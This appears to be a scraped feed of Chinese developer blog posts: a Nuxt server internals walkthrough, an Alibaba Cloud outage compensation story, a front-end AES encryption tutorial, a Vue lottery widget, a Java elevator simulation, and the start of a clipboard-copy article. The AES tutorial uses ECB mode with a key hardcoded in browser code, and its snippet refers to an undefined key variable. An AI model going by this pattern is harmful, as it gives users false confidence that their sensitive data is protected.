this._initServer()
}

// Call ready
if (this.options._ready !== false) {
this.ready().catch((err) => {
consola.fatal(err)
})
}
}


ready () {
}

async _init () {
}

_initServer () {
}
}

实例化nuxt的工作内容很简单:



  1. this.options = getNuxtConfig(options) nuxt.config.js对象合并 Nuxt默认对象



// getDefaultNuxtConfig
export function getDefaultNuxtConfig (options = {}) {
if (!options.env) {
options.env = process.env
}

return {
..._app(),
..._common(),
build: build(),
messages: messages(),
modes: modes(),
render: render(),
router: router(),
server: server(options),
cli: cli(),
generate: generate()
}
}

// config
...
const nuxtConfig = getDefaultNuxtConfig()
defaultsDeep(options, nuxtConfig)
...



  1. this.moduleContainer = new ModuleContainer(this) 创建了一个moduleConiner实例


export default class ModuleContainer {
constructor (nuxt) {
this.nuxt = nuxt
this.options = nuxt.options
this.requiredModules = {}

}
}


  1. this._initServer() 来创建一个connect服务。


  _initServer () {
if (this.server) {
return
}
this.server = new Server(this)
this.renderer = this.server
this.render = this.server.app
defineAlias(this, this.server, ['renderRoute', 'renderAndGetWindow', 'listen'])
}

export default class Server {
constructor (nuxt) {
this.nuxt = nuxt
this.options = nuxt.options

this.globals = determineGlobals(nuxt.options.globalName, nuxt.options.globals)

this.publicPath = isUrl(this.options.build.publicPath)
? this.options.build._publicPath
: this.options.build.publicPath.replace(/^\.+\//, '/')

// Runtime shared resources
this.resources = {}

// Will be set after listen
this.listeners = []

// Create new connect instance
this.app = connect()

// Close hook
this.nuxt.hook('close', () => this.close())

// devMiddleware placeholder
if (this.options.dev) {
this.nuxt.hook('server:devMiddleware', (devMiddleware) => {
this.devMiddleware = devMiddleware
})
}
}
}

server很简单,使用connect创建了一个instance. 然后实例化一些参数。其中,我们发现nuxt会触发一些hooks。在每一个节点可以去做一些事情。nuxt能设置hooks是因为nuxt继承Hookable。


随后调用this.ready()方法,就是调用了私有init方法


async _init () {
await this.moduleContainer.ready()
await this.server.ready()
}

主要是调用两个实例的ready方法。


moduleContainer实例ready方法


 async ready () {
// Call before hook
await this.nuxt.callHook('modules:before', this, this.options.modules)

if (this.options.buildModules && !this.options._start) {
// Load every devModule in sequence
await sequence(this.options.buildModules, this.addModule)
}

// Load every module in sequence
await sequence(this.options.modules, this.addModule)

// Load ah-hoc modules last
await sequence(this.options._modules, this.addModule)

// Call done hook
await this.nuxt.callHook('modules:done', this)
}

总结就是加载 buildModules modules 模块并且执行。


buildModules: [
'@nuxtjs/eslint-module'
],
modules: [
'@nuxtjs/axios'
],

server实例的ready方法


async ready () {
this.serverContext = new ServerContext(this)
this.renderer = new VueRenderer(this.serverContext)
await this.renderer.ready()
await this.setupMiddleware()
}

ServerContext类很简单,就是设置server 上下文resources/options/nuxt/globals这些信息


export default class ServerContext {
constructor (server) {
this.nuxt = server.nuxt
this.globals = server.globals
this.options = server.options
this.resources = server.resources
}
}

VueRenderer ready方法做了那些事情呢?


async _ready () {
await this.loadResources(fs)
this.createRenderer()
}
get resourceMap () {
const publicPath = urlJoin(this.options.app.cdnURL, this.options.app.assetsPath)
return {
clientManifest: {
fileName: 'client.manifest.json',
transform: src => Object.assign(JSON.parse(src), { publicPath })
},
modernManifest: {
fileName: 'modern.manifest.json',
transform: src => Object.assign(JSON.parse(src), { publicPath })
},
serverManifest: {
fileName: 'server.manifest.json',
// BundleRenderer needs resolved contents
transform: async (src, { readResource }) => {
const serverManifest = JSON.parse(src)

const readResources = async (obj) => {
const _obj = {}
await Promise.all(Object.keys(obj).map(async (key) => {
_obj[key] = await readResource(obj[key])
}))
return _obj
}

const [files, maps] = await Promise.all([
readResources(serverManifest.files),
readResources(serverManifest.maps)
])

// Try to parse sourcemaps
for (const map in maps) {
if (maps[map] && maps[map].version) {
continue
}
try {
maps[map] = JSON.parse(maps[map])
} catch (e) {
maps[map] = { version: 3, sources: [], mappings: '' }
}
}

return {
...serverManifest,
files,
maps
}
}
},
ssrTemplate: {
fileName: 'index.ssr.html',
transform: src => this.parseTemplate(src)
},
spaTemplate: {
fileName: 'index.spa.html',
transform: src => this.parseTemplate(src)
}
}
}

this.renderer.ready() 加载resourceMap下的文件资源:clientManifest:client.manifest.json / modernManifest: modern.manifest.json / serverManifest: server.manifest.json / ssrTemplate: index.ssr.html / spaTemplate: index.spa.html


然后调用 createRenderer后,


	 renderer.renderer = {
ssr: new SSRRenderer(this.serverContext),
modern: new ModernRenderer(this.serverContext),
spa: new SPARenderer(this.serverContext)
}

其中,在render实例方法上有一个renderRoute方法还没有被调用。我们猜测估计是用在中间件上调用了(后面查看注册中间件也和我猜测一样)。


其调用流程renderRoute --> renderSSR(ssr.js 实例) --> renderer.renderer.render(renderContext) ssr.js 实例上的render


重点!!!!:ssr实例的render做了什么?


找到packages/vue-renderer/src/renderers/srr.js 发现


import { createBundleRenderer } from 'vue-server-renderer'
async render (renderContext) {
let APP = await this.vueRenderer.renderToString(renderContext)
return {
html,
cspScriptSrcHashes,
preloadFiles,
error: renderContext.nuxt.error,
redirected: renderContext.redirected
}
}
createRenderer () {
// Create bundle renderer for SSR
return createBundleRenderer(
this.serverContext.resources.serverManifest,
this.rendererOptions
)
}

createRenderer 返回值就是this.vueRenderer。


在实例化SSRRenderer的时候调用vue官方库: vue-server-renderer 的createBundleRenderer 方法生成了vueRenderer


然后调用renderToString 生成了html


然后对html做一些了HEAD 处理


所以renderRoute其实是调用 SSRRenderer(其中ssr)实例的render方法


最后看一下setupMiddleware


注册setupMiddleware


// nuxt.config.js 中的中间件
for (const m of this.options.serverMiddleware) {
this.useMiddleware(m)
}
// Finally use nuxtMiddleware
this.useMiddleware(nuxtMiddleware({
options: this.options,
nuxt: this.nuxt,
renderRoute: this.renderRoute.bind(this),
resources: this.resources
}))

....
renderRoute () {
return this.renderer.renderRoute.apply(this.renderer, arguments)
}


...
export default ({ options, nuxt, renderRoute, resources }) => async function nuxtMiddleware (req, res, next) {
const result = await renderRoute(url, context)
const {
html,
cspScriptSrcHashes,
error,
redirected,
preloadFiles
} = result
...
return html
}

进行nuxt中间件注册:


注册了serverMiddleware中的中间件
注册了公共页的中间件page中间件


注册了nuxtMiddleware中间件
注册了错误errorMiddleware中间件


其中nuxtMiddleware中间件就是 执行了 renderRoute


最后附上一张流程图:


img


一句话总结:new Next(config.js) 准备好了一些资源和中间件。app.use(nuxt.render)其实就是把connect当成一个中间件,当请求路过,经过nuxt注册好的中间件,去获取资源,并且renderToString返回页面需要的html。


参考:
juejin.cn/post/694166…
juejin.cn/post/691724…


作者:随风行酱
来源:juejin.cn/post/7306457908636287003
收起阅读 »

额,收到阿里云给的赔偿了

众所周知,就在刚过去不久的11月12号,阿里云突发了一次大规模故障,影响甚广。 以至于连咱们这里评论区小伙伴学校的洗衣机都崩了(手动doge)。 这么关键的双11节点,这么多热门业务和产品,这么大规模的崩盘故障,不一会儿这个事情便被推上了热搜。 而就在近...
继续阅读 »

众所周知,就在刚过去不久的11月12号,阿里云突发了一次大规模故障,影响甚广。



以至于连咱们这里评论区小伙伴学校的洗衣机都崩了(手动doge)。



这么关键的双11节点,这么多热门业务和产品,这么大规模的崩盘故障,不一会儿这个事情便被推上了热搜。



而就在近日,阿里云官网上就该故障也给出了一份故障复盘报告,而报告中则给出了这次事件的问题原因。



细看一下不难发现,说到底,在代码级还是存在逻辑缺陷问题。当然阿里云在报告中也给出了一系列相应的改进措施:



  • 增加AK服务白名单生成结果的校验及告警拦截能力。

  • 增加AK服务白名单更新的灰度验证逻辑,提前发现异常。

  • 增加AK服务白名单的快速恢复能力。

  • 加强云产品侧的联动恢复能力。


其实当时发生这个事情时,正好是周日的傍晚,当时自己正在家里吃晚饭,所以对于这波故障的直接感受并不明显。


本来对这个事情都没太注意了,不过就在前几天,突然收到了一条来自于阿里云的赔偿短信。



出于好奇,我也登进阿里云的控制台尝试领取了一下。


果然,50很快就到账了(不过是代金券。。)。



而赔偿对象则为阿里云的对象存储OSS服务。


看到这里我才想起来,因为之前自己用的阿里云对象存储OSS来存东西,所以收到这条赔偿短信也就不奇怪了。


不过,它这条短信里所谓的SLA赔偿到底是按照什么标准来的呢?


同样出于好奇,我也看了一下阿里云SLA定义与详细规则。这次的赔偿也是按照不同产品的服务等级协议来划分的。



比如我这次受影响的的使用产品就是阿里云的对象存储OSS,而其对应产品的服务等级协议里也明确规定有具体的赔偿标准。



后台显示当时对象存储OSS的服务可用性为99.9884%。



按照阿里云承诺的当前产品服务可用性不低于99.99%的标准,很明显这就触发赔偿了。



而具体赔付比例按照上面产品服务等级协议里的描述,则来到了10%这个档。


看到这里,我也不禁想起了前段时间语雀的故障赔付,当时语雀的补偿方案是针对个人用户赠送6个月的会员服务。


对于这样类似的赔偿结果,有的用户表示愿意继续给产品一次机会,当然也有用户会表示无法原谅并弃用之。


其实这种长时间、大规模的故障,对于一些重度依赖云产品的用户或者业务来说打击往往是致命的。而这些事后给出的所谓的SLA内的赔偿和客户实际所承担的业务损失来说往往是杯水车薪,压根就覆盖不住,这还不谈客户为此所额外付出的人力物力成本。



因此对于这些云服务商而言,除了赔偿,更重要的还是多研究研究如何加强故障预防和处理,持续提升服务的稳定性和可靠性才是关键。



注:本文在GitHub开源仓库「编程之路」 github.com/rd2coding/R… 中已经收录,里面有我整理的6大编程方向(岗位)的自学路线+知识点大梳理、面试考点、我的简历、几本硬核pdf笔记,以及程序员生活和感悟,欢迎star。



作者:CodeSheep
来源:juejin.cn/post/7306443667304431667
收起阅读 »

前端数据加解密 -- AES算法

web
在当今日益增长的互联网数据流中,信息安全成为了一个越来越重要的主题。数据加密不仅是保护信息免遭未授权访问的有效措施,更是隐私保护和网络安全的基石。正是在这样的背景下,高级加密标准(AES)凭借其坚如磐石的安全性和便捷的操作性,成为了全球加密技术的领航者。 在编...
继续阅读 »

在当今日益增长的互联网数据流中,信息安全成为了一个越来越重要的主题。数据加密不仅是保护信息免遭未授权访问的有效措施,更是隐私保护和网络安全的基石。正是在这样的背景下,高级加密标准(AES)凭借其坚如磐石的安全性和便捷的操作性,成为了全球加密技术的领航者。


在编写Web应用程序或任何需要保护信息安全的软件系统时,开发人员经常需要实现对用户信息或敏感数据的加密与解密。而AES加密算法常被选为这一任务的首选方案。在JavaScript领域,众多不同的库都提供了实现AES算法的接口,而crypto-js是其中最流行和最可靠的一个。接下来,就带大家深入探讨一下如何通过crypto-js来实现AES算法的加密与解密操作。


AES算法简介


首先,对AES算法有一个简要的了解是必须的。AES是一种对称加密算法,由美国国家标准与技术研究院(NIST)在2001年正式采纳。它是一种块加密标准,能够有效地加密和解密数据。对称加密意味着加密和解密使用相同的密钥,这就要求密钥的安全妥善保管。


AES加密算法允许使用多种长度的密钥—128位、192位、和256位。而在实际应用中,密钥的长度需要根据被保护数据的敏感度和所需的安全级别来选择。


密钥长度与安全性


随着计算机处理能力的增强,选择一个充分长度和复杂性的密钥变得尤为重要。在基于crypto-js库编写的加密实例encryptAES和解密实例decryptAES中,密钥encryptionKey须保持在8、16、32位字符数,对应于AES所支持的128、192、256位密钥长度。选择一个强大的、不容易被猜测的密钥,是确保加密强度的关键步骤之一。


加密模式与填充


在AES算法中,所涉及的数据通过预定的方式被组织成块进行加密和解密。因此,加密模式(Encryption Mode)和填充(Padding)在此过程中扮演着重要的角色。


加密模式定义了如何重复应用密钥进行数据块的加密。crypto-js中的电码本模式(ECB)是最简单的加密模式,每个块独立加密,使得它易于实现且无需复杂的初始化。


填充则是指在加密之前对最后一个数据块进行填充以至于它有足够的大小。在crypto-js中,PKCS#7是一个常用的填充标准,它会在加密前将任何短于块大小的数据进行填充,填充的字节内容是缺少多少位就补充多少字节的相同数值。这种方式确保了加密的数据块始终保持恰当的尺寸。


加解密相关依赖库


加解密需要依赖有crypto-js和base-64


import * as CryptoJS from 'crypto-js';
import base64 from 'base-64';
const { enc, mode, AES, pad } = CryptoJS;
var aseKey = 'youwillgotowork!';

JavaScript加密实例encryptAES


在本文中展示的encryptAES函数,使用crypto-js库通过AES算法实现了对传入消息的加密。加密流程是,首先使用AES进行加密,然后将加密结果进行Base64编码以方便存储和传输。最后,加密后的数据可安全地被传送到需要的目的地。


const encryptAES = message => {
var encryptedMessage = AES.encrypt(message, enc.Utf8.parse(encryptionKey), {
mode: mode.ECB,
padding: pad.Pkcs7,
}).toString();
encryptedMessage = base64.encode(encryptedMessage);
return encryptedMessage;
};

此函数接受一个参数message,代表需要加密的原始信息。消息首先被转换为UTF-8编码的格式,以适应AES算法的输入要求。随后,在指定ECB模式和PKCS7填充的条件下,将消息与加密密钥一同送入加密函数。在此步骤,AES算法将消息转换为一串密文,随后通过Base64编码转换为字符串形式,使得加密结果可用于网络传输或存储。


JavaScript解密实例decryptAES


与加密过程相对应,解密为的是将加密后的密文还原为可读的原始信息。在decryptAES函数中,首先要对传入的Base64编码的加密消息进行解码,以恢复出AES算法可以直接处理的密文。然后,通过与加密过程相同的密钥和相应的ECB模式以及PKCS7填充标准进行解密,最后输出UTF-8编码的原始信息。


const decryptAES = message => {
var decryptedMessage = base64.decode(message);
decryptedMessage = AES.decrypt(decryptedMessage, enc.Utf8.parse(encryptionKey), {
mode: mode.ECB,
padding: pad.Pkcs7,
}).toString(enc.Utf8);
return decryptedMessage;
};

在此函数中,message参数应是经过加密和Base64编码的字符串。解密时,加密的数据首先被Base64解码,变回AES可以直接处理的密文格式。接下来,与加密时使用同样的算法设置与密钥,通过AES.decrypt解密密文,然后将解密结果由于是二进制格式,通过调用toString(enc.Utf8)转换为UTF-8编码的可读文本。


效果展示


加解密的效果如下图所示:


image.png


作者:慕仲卿
来源:juejin.cn/post/7306459858126766130
收起阅读 »

VUE实现九宫格抽奖

web
一、前言 九宫格布局 注释了三种结果分支 懒得找图,背景色将就看一下 不足的地方,欢迎评论指正 二、代码注释详解 <template> <div class="box"> <div class="raffleBox...
继续阅读 »

一、前言



  • 九宫格布局

  • 注释了三种结果分支

  • 懒得找图,背景色将就看一下

  • 不足的地方,欢迎评论指正


二、代码注释详解


<template>
<div class="box">
<div class="raffleBox">
<div :class="{ raffleTrem: true, active: data.classFlag == 1 }">富强</div>
<div :class="{ raffleTrem: true, active: data.classFlag == 2 }">民主</div>
<div :class="{ raffleTrem: true, active: data.classFlag == 3 }">文明</div>
<div :class="{ raffleTrem: true, mt: true, active: data.classFlag == 8 }">法治</div>
<button class="raffleStart mt" @click="raffleStart" :disabled="data.disabledFlag">{{ !data.raffleFlag ? '开始' : '结束'
}}</button>
<div :class="{ raffleTrem: true, mt: true, active: data.classFlag == 4 }">和谐</div>
<div :class="{ raffleTrem: true, mt: true, active: data.classFlag == 7 }">公正</div>
<div :class="{ raffleTrem: true, mt: true, active: data.classFlag == 6 }">平等</div>
<div :class="{ raffleTrem: true, mt: true, active: data.classFlag == 5 }">自由</div>
</div>
</div>
</template>
<script setup>
import { ref, reactive } from 'vue';
const data = reactive({
classFlag: 0,
raffleFlag: false,
setIntervalFlag: null,
disabledFlag: false,
setIntervalNum: 1,
list: ['富强', '民主', '文明', '和谐', '自由', '平等', '公正', '法治']
})
//封装随机数,包含min, max值
const getRandom = (min, max) => {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
// 封装定时器
const fn = (num) => {
// 转动九宫格,如果到第八个重置为0再累加,否则进行累加
data.setIntervalFlag = setInterval(() => {
if (data.classFlag >= 8) {
data.classFlag = 0
data.classFlag++
} else {
data.classFlag++
}
}, num)
}
// 开始/结束
const raffleStart = () => {
// 抽奖标识赋反
data.raffleFlag = !data.raffleFlag

if (data.raffleFlag == true) {
// 禁用中间键
data.disabledFlag = true
// 延迟解禁用
setTimeout(() => {
data.disabledFlag = false
}, 2000)
// 开始
// 转动九宫格
fn(100)
} else {
data.disabledFlag = true
// 结束
let setIntervalA
setIntervalA = setInterval(() => {
if (data.setIntervalNum >= 6) {
// 清除定时器
clearInterval(data.setIntervalFlag)
data.setIntervalFlag = null
clearInterval(setIntervalA)
setIntervalA = null
// 解开禁用
data.disabledFlag = false
// 此处可以进行中奖之后的逻辑
//例子1 随机结果
// data.classFlag = 0
// let prizeFlag = getRandom(1, 8)
// let prizeTxt = data.list[prizeFlag - 1]
// console.log(prizeTxt, '例子1');
//例子2 当前值的结果
// let prizeTxt2 = data.list[data.classFlag - 1]
// console.log(prizeTxt2, '例子2');
//例子3 某鹅常规操作
data.classFlag = 0
let confirmFlag = confirm("谢谢参与!请再接再励!");
if (confirmFlag || !confirmFlag) {
window.location.href = "https://juejin.cn/post/7306356286428594176"
}
return
}
// 累加定时器数字,用于缓慢停止定时器
data.setIntervalNum++
// 清除定时器
clearInterval(data.setIntervalFlag)
data.setIntervalFlag = null
// 将当前累加数字作为参数计算,用于缓慢停止定时器
fn(data.setIntervalNum * 100)
}, 1500)
}

// data.classFlag = getRandom(1, 8)
}
// const { } = toRefs(data)
</script>
<style scoped lang="scss">
.box .raffleBox .active {
border-color: red;
}

.mt {
margin-top: 5px;
}

.raffleBox {
width: 315px;
margin: auto;
display: flex;
flex-wrap: wrap;
justify-content: space-between;
text-align: center;
box-sizing: border-box;

.raffleTrem,
.raffleStart {
width: 100px;
height: 100px;
line-height: 100px;
background: #ccc;
box-sizing: border-box;
border: 1px solid rgba(0, 0, 0, 0);
}

.raffleStart {
background-color: aquamarine;
}
}
</style>


作者:加油乐
来源:juejin.cn/post/7306356286428594176
收起阅读 »

Java 实现电梯逻辑

一、实现结果说明 这里首先说明实现结果: 1、已实现: 实现电梯的移动逻辑。 实现了电梯外部的每个楼层的上下按钮。 实现了电梯运行的同时添加新楼层。 2、未实现: 没有实现电梯内部的按钮。 没有实现多个电梯协同运行。 没有实现电梯开关门时的逻辑。 二、...
继续阅读 »

一、实现结果说明


这里首先说明实现结果:


1、已实现:



  • 实现电梯的移动逻辑。

  • 实现了电梯外部的每个楼层的上下按钮。

  • 实现了电梯运行的同时添加新楼层。


2、未实现:



  • 没有实现电梯内部的按钮。

  • 没有实现多个电梯协同运行。

  • 没有实现电梯开关门时的逻辑。


二、电梯运行的情况



  • 当电梯向上移动时,会一直运行至发出请求的所有楼层中最高的楼层。

  • 向下移动时,会一直运行至发生请求的所有楼层中最低的楼层。

  • 在电梯运行过程中,如果有用户点击了某一层的按钮,会根据该层的按钮与当前电梯所在的层数和电梯要去的层数相比较,以及判断电梯的运行方向,来确定下一步去往的楼层。


三、实现说明


该代码实现使用 Java 编写,使用多线程来分析处理电梯的移动,以及各个楼层的按钮点击处理。


当然,没有展示的页面,Java 编写可视化页面还是相当吃翔的。采用控制台输出的方式来告诉开发者现在电梯所在的楼层。


实现代码中目前一共包含七个类(多数属于非严格的单例对象):



  • Lift.java:负责电梯的移动,从任务列表中取得任务,并判断电梯应该运行的方向。

  • LayerRequest.java:这个类是定义的一个数据结构,用来保存每个楼层的请求。负责处理电梯获取或者删除任务的请求,以及各个楼层召唤电梯的请求。

  • LayerList.java:该类保存着每个楼层。是一个继承了 ArrayList 的类。

  • Layer.java:该类表示的是单个楼层,存储着某个楼层的信息。

  • MoveDirection.java:电梯的移动方向,电梯的移动方向有三种:UP、DOWN、STOP。

  • Client.java:客户端处理类,电梯与外界交互就靠这一个类,可以使用该类向电梯发送上升或者下降的请求。同时该类管理着一个线程池。

  • Test.java:测试类。


四、部分代码解析


如果要查看源代码,可以从 CSDN 上下载 ZIP 文件 CSDN —— Java 实现电梯逻辑


同时也提供了 GitHub 项目地址:GitHub —— Java 实现电梯逻辑


1、Lift.java 核心代码


/**
* 向上移动电梯
*/

private void moveUp() {
int currentLayerNumber = this.getCurrentLayer().getLayerNumber();
int targetLayerNumber;
while (currentLayerNumber < (targetLayerNumber = this.getTargetLayer().getLayerNumber())) {
this.moving();
Layer layer = this.layerList.get(currentLayerNumber);
this.setCurrentLayer(layer);
currentLayerNumber++;
if (currentLayerNumber != targetLayerNumber) {
this.passLayer(layer);
}
}
this.reachTargetLayer();
}

/**
* 向下移动电梯
*/

private void moveDown() {
int currentLayerNumber = this.getCurrentLayer().getLayerNumber();
int targetLayerNumber;
while (currentLayerNumber > (targetLayerNumber = this.getTargetLayer().getLayerNumber())) {
this.moving();
// 这里减二是因为:
// 需要通过索引获取楼层, getLayerNumber() 对索引进行了加一, 需要减一获得索引,
// 而这里是电梯下降, 需要获取下一个楼层的索引, 所以还要再减一
Layer layer = this.layerList.get(currentLayerNumber - 2);
this.setCurrentLayer(layer);
currentLayerNumber--;
if (currentLayerNumber != targetLayerNumber) {
this.passLayer(layer);
}
}
this.reachTargetLayer();
}

/**
* 移动电梯到目标楼层
*/

private void move(int diff) {
if (diff > 0) {
moveDown();
} else {
moveUp();
}
}

/**
* 电梯运行, 主要负责电梯的移动
*/

void run() {
while (this.runnable()) {
try {
this.setUsing(this.layerRequest.hasTask());
if (!this.isUsing()) {
continue;
}
// 电梯有任务才会执行核心函数
this.runCore();
} catch (Exception e) {
e.printStackTrace();
}
}
}

/**
* 电梯是否可运行
*
* @return 可运行返回 true
*/

private boolean runnable() {
return !isFault();
}

/**
* 电梯运行核心 (我是这样起名的, 它配不配这个名字我就不知道了)<br/>
* 此时电梯一定处于 stop 状态
*/

private void runCore() {
Layer layer;
LayerRequest layerRequest = this.layerRequest;
int diff;
int currentLayerNumber = this.getCurrentLayer().getLayerNumber();
int targetLayerNumber = this.getTargetLayer().getLayerNumber();

// 根据 当前楼层 与 目标楼层 的相对位置来设置电梯移动方向
if ((diff = currentLayerNumber - targetLayerNumber) < 0) {
layer = layerRequest.getLayer();
if (layer != null) {
this.setCurrentMoveDirection(MoveDirection.UP);
} else {
this.setCurrentMoveDirection(MoveDirection.DOWN);
}
} else if ((diff = currentLayerNumber - targetLayerNumber) > 0) {
layer = layerRequest.getLayer();
if (layer != null) {
this.setCurrentMoveDirection(MoveDirection.DOWN);
} else {
this.setCurrentMoveDirection(MoveDirection.UP);
}
} else {
return;
}

if (this.checkLayer(layer)) {
this.setTargetLayer(layer);
this.move(diff);
}
}

/**
* 检查楼层所属的区间, 下面是 layer 楼层所在的不同区间的所有的返回结果: <br/>
* 一. [ (layer: -1) 低楼层 -- (layer: 0) --> 高楼层 (layer: 1) ] <br/>
* 二. [ (layer: -1) 高楼层 -- (layer: 0) --> 低楼层 (layer: 1) ] <br/>
* 三. 电梯处于 stop 状态时若电梯处于 stop 状态, 返回 layer 与 currentLayer 的楼层差值
*
* @param layer 要检查的楼层
* @return 返回数字, 表示 layer 楼层所属的区间
*/

int checkLayerInRange(Layer layer) {
Layer currentLayer = this.getCurrentLayer();
Layer targetLayer = this.getTargetLayer();
int currentLayerNumber = currentLayer.getLayerNumber();
int targetLayerNumber = targetLayer.getLayerNumber();

int layerNumber = layer.getLayerNumber();

// 上升时, 返回值取决于楼层 layer 所在的区间: [ (layer: -1) 低楼层 -- (layer: 0) --> 高楼层 (layer: 1) ]
if (isMoveUp()) {
if (layerNumber < currentLayerNumber) {
return -1;
} else if (targetLayerNumber < layerNumber) {
return 1;
} else {
return 0;
}
}
// 下降时, 返回值取决于 layer 所在的区间: [ (layer: -1) 高楼层 -- (layer: 0) --> 低楼层 (layer: 1) ]
else if (isMoveDown()) {
if (layerNumber < targetLayerNumber) {
return 1;
} else if (layerNumber > currentLayerNumber) {
return -1;
} else {
return 0;
}
}
// 若电梯处于 stop 状态, 返回 layerNumber 与 currentLayerNumber 的差值
else {
return layerNumber - currentLayerNumber;
}
}

2、LiftRequest.java 核心代码


void removeUpLayer() {
this.removeLayer(this.nextUpList, this.nextDownList, MoveDirection.UP);
}

void removeDownLayer() {
this.removeLayer(this.nextDownList, this.nextUpList, MoveDirection.DOWN);
}

/**
* 电梯到达目标楼层时移除楼层, 从 usingList 中移除 <br/>
* 当 usingList 中没有楼层时, 则设置 freeList 的第一个元素为 {@link Lift#targetLayer}, freeList 将成为 usingList<br/>
*
* @param nextUsingList 下一执行阶段要执行的任务
* @param nextFreeList 下一执行阶段要执行的任务
* @param moveDirection 当前电梯的运行状态
*/

private void removeLayer(List<Layer> nextUsingList, List<Layer> nextFreeList,
MoveDirection moveDirection)
{
Lift lift = this.lift;
List<Layer> taskList = this.taskList;

// 当前任务执行完成, 将其移除
removeFirst();

// 移除后如果任务列表不为空, 就将列表第一个楼层设为目标楼层
if (!taskList.isEmpty()) {
lift.setTargetLayer(getFirst());
return;
}

// 这段代码在下面的情况下生效 (电梯发生转向时):
// 例如: 电梯从第一层移动到第七层, 在电梯到达第五层时, 此时在第三层按下向下的按钮, 将会添加到 nextFreeList 集合中
if (!nextFreeList.isEmpty()) {
taskList.addAll(nextFreeList);
// 根据不同的移动状态排序
if (MoveDirection.isMoveUp(moveDirection)) {
this.reserveSort();
} else if (MoveDirection.isMoveDown(moveDirection)) {
this.sort();
}
lift.setTargetLayer(getFirst());
nextFreeList.clear();
}

// 如果电梯反向运行列表没有元素 (nextFreeList 为空, empty), 就执行同向的任务列表
// 例如: 电梯要从第一层移动到第七层, 并且电梯已经移动到第四层, 此时点击第一层的上升按钮和第三层的上升按钮,
// 将会添加到 nextUsingList 集合中
// 电梯移动过程: (1): 1 --- 上升 ---> 7 (2): 7 --- 下降 ---> 1 (3): 1 --- 上升 ---> 3
if (taskList.isEmpty() && !nextUsingList.isEmpty()) {
taskList.addAll(nextUsingList);
if (MoveDirection.isMoveUp(moveDirection)) {
this.sort();
} else if (MoveDirection.isMoveDown(moveDirection)) {
this.reserveSort();
}
lift.setTargetLayer(getFirst());
nextUsingList.clear();
}
}

/**
* 添加楼层
* @param layer 要添加的楼层
* @param moveDirection 要去往的方向
*/

void addLayer(Layer layer, MoveDirection moveDirection) {
if (!this.taskList.contains(layer)) {
Lift lift = this.lift;
if (lift.getCurrentLayer().equals(layer)) {
this.alreadyLocated(layer);
return;
}
lift.setTargetLayerIfNull(layer);
int result = lift.checkLayerInRange(layer);
// 如果电梯处于停止状态
if (lift.isMoveStop()) {
if (result > 0) {
this.addUpLayerWithSort(layer);
lift.setCurrentMoveDirection(MoveDirection.UP);
} else if (result < 0) {
this.addDownLayerWithSort(layer);
lift.setCurrentMoveDirection(MoveDirection.DOWN);
}
lift.setTargetLayer(layer);
return;
}
// 根据按钮点击的是上升还是下降来调用
if (MoveDirection.isMoveUp(moveDirection)) {
this.addUpLayer(result, layer);
} else {
this.addDownLayer(result, layer);
}
}
}

/**
* 添加要上楼的楼层
*
* @param result result
* @param layer 要添加的楼层
*/

private void addUpLayer(int result, Layer layer) {
Lift lift = this.lift;
if (lift.isMoveUp()) {
if (result == 0) {
lift.setTargetLayer(layer);
this.addUpLayerWithSort(layer);
} else if (result == 1) {
this.addUpLayerWithSort(layer);
} else if (result == -1) {
this.addLayerIfNotExist(this.nextUpList, layer);
}
} else if (lift.isMoveDown()) {
this.addLayerIfNotExist(this.nextUpList, layer);
}
}

/**
* 添加要下楼的楼层
*
* @param layer 要添加的楼层
*/

void addDownLayer(int result, Layer layer) {
Lift lift = this.lift;
if (lift.isMoveDown()) {
if (result == 0) {
lift.setTargetLayer(layer);
this.addDownLayerWithSort(layer);
} else if (result == 1) {
this.addDownLayerWithSort(layer);
} else if (result == -1) {
this.addLayerIfNotExist(this.nextDownList, layer);
}
} else if (lift.isMoveUp()) {
this.addLayerIfNotExist(this.nextDownList, layer);
}
}

五、有话说


有兴趣的小伙伴可以自己写一个类似的程序,或者在此基础上做修改、加上新的处理逻辑,代码如有瑕疵,敬请见谅!


作者:情欲
来源:juejin.cn/post/7305984583983398950
收起阅读 »

点击自动复制剪贴板

web
目标🎯: 一键复制"功能,用户点击一下按钮,指定的内容就自动进入剪贴板。 实现🖊️: 方法一:Document.execCommand()方法 方法二:Clipboard Document.execCommand() Document.execCommand(...
继续阅读 »

目标🎯:


一键复制"功能,用户点击一下按钮,指定的内容就自动进入剪贴板。


实现🖊️:


方法一:Document.execCommand()方法


方法二:Clipboard


Document.execCommand()


Document.execCommand()是操作剪贴板的传统方法,各种浏览器都支持。

支持复制、剪切和粘贴这三个操作。




  • document.execCommand('copy')(复制)




  • document.execCommand('cut')(剪切)




  • document.execCommand('paste')(粘贴)




(1)复制操作


复制时,先选中文本,然后调用document.execCommand('copy'),选中的文本就会进入剪贴板。


const inputElement = document.querySelector('#input'); 
inputElement.select();
document.execCommand('copy');

上面示例中,脚本先选中输入框inputElement里面的文字(inputElement.select()),然后document.execCommand('copy')将其复制到剪贴板。


注意,复制操作最好放在事件监听函数里面,由用户触发(比如用户点击按钮)。如果脚本自主执行,某些浏览器可能会报错。


(2)粘贴操作


粘贴时,调用document.execCommand('paste'),就会将剪贴板里面的内容,输出到当前的焦点元素中。


const pasteText = document.querySelector('#output');
pasteText.focus();
document.execCommand('paste');

(3)缺点


Document.execCommand()方法虽然方便,但是有一些缺点。


首先,它只能将选中的内容复制到剪贴板,无法向剪贴板任意写入内容。


其次,它是同步操作,如果复制/粘贴大量数据,页面会出现卡顿。有些浏览器还会跳出提示框,要求用户许可,这时在用户做出选择前,页面会失去响应。


为了解决这些问题,浏览器厂商提出了异步的 Clipboard API。


异步 Clipboard API


Clipboard API 是下一代的剪贴板操作方法,比传统的document.execCommand()方法更强大、更合理。


它的所有操作都是异步的,返回 Promise 对象,不会造成页面卡顿。而且,它可以将任意内容(比如图片)放入剪贴板。


navigator.clipboard属性返回 Clipboard 对象,所有操作都通过这个对象进行。


const clipboardObj = navigator.clipboard;


如果navigator.clipboard属性返回undefined,就说明当前浏览器不支持这个 API。


由于用户可能把敏感数据(比如密码)放在剪贴板,允许脚本任意读取会产生安全风险,所以这个 API 的安全限制比较多。


首先,Chrome 浏览器规定,只有 HTTPS 协议的页面才能使用这个 API。不过,开发环境(localhost)允许使用非加密协议。


